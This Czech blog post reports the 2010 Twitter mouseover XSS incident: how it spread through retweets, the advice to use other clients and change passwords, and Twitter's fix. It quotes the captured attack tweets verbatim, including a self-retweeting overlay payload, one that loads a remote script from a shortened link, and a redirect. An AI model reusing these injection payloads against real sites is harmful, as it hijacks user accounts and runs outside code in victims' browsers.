Twitter a JavaScript bug

Dnes odpoledne, kolem 14. hodiny se na Twitteru objevil JavaScriptový bug, který umožnil díky události mouseover navázání dalších JavaScriptových požadavků. Tweety postavené na této chybě zahltily celý Twitter, například retweetování při pohybu myši po obrazovce, která byla díky chybě překrytá odkazem a objevily se i pokusy o stažení skriptů z jiných stránek přes $.get() funkce a tomu všemu napomohlo i to, že Twitter používá jQuery, takže se tyto JavaScriptové kódy vešly do 140 znaků.

Na tento problém mě upozornil retweet uživatele @ppk a následně @WebExpo, které tweet využívající této chyby tweetlo (a následně smazalo). Zachytil jsem dva tyto tweety – jeden, kde bylo zmíněné stažení jiného skriptu a také hromadný retweet s překrytím obrazovky a podstrčením odkazu, který se při pohybu myši aktivoval.

Takto to vypadalo, pokud někdo retweetl tweet využívající zmíněnou chybu a s overlay!
Takto to vypadalo, pokud někdo retweetl tweet využívající zmíněnou chybu a s overlay!

Tweet, který je na obrazovce vypadal nějak takto:

http://t.co/@"onmouseover="document.getElementById('status').value='RT Matsta';$('.status-update-form').submit();"class="modal-overlay"/

A tweet, který se snažil přistoupit ke skriptům z jiného serveru vypadal nějak takto:

http://t.co/@"style="font-size:2px;"onmouseover="$.getScript('http:/u002f/u002fis.gd/u002ffl9A7')

Dále se pak začaly šířit úpravy těchto tweetů, například:

http://twitter.com/midukan#@"style="font-size:999999999999px;" onmouseover="window.location.href='http://www.midukan.com.br';"/

Bylo doporučeno nepřistupovat do opravení chyby na Twitter přes webové rozhraní, ale přes klienty, například TweetDeck, jinak bude díky retweetování šíření těchto tweetů stále pokračovat. Jak se může zdát, skvělé jQuery nyní vlastně položilo službu Twitter, neboť v dané podobě je nepoužitelná a to díky stále se rozesílajícímu „overlay“ tweetu, přes který se není možné dostat na seznamy tweetů. Samozřejmě pokud uživatelé nepoužijí jiného klienta.

Je také doporučeno si raději změnit heslo, nikdo zatím pořádně neví, co vše se mohlo díky této chybě a následnému útoku stát.

Aktualizováno 21.9.2010 15:51 – Twitter vydal prohlášení, že XSS útok byl odhalen a opraven, viz poslední Twitter status. Z dostupných zdrojů se jeví tato chyba na straně zkracovací služby t.co a vkládání odkazů na stránky, čehož útočníci využili. Twitter tak začal escapovat adresy.

Napsat komentář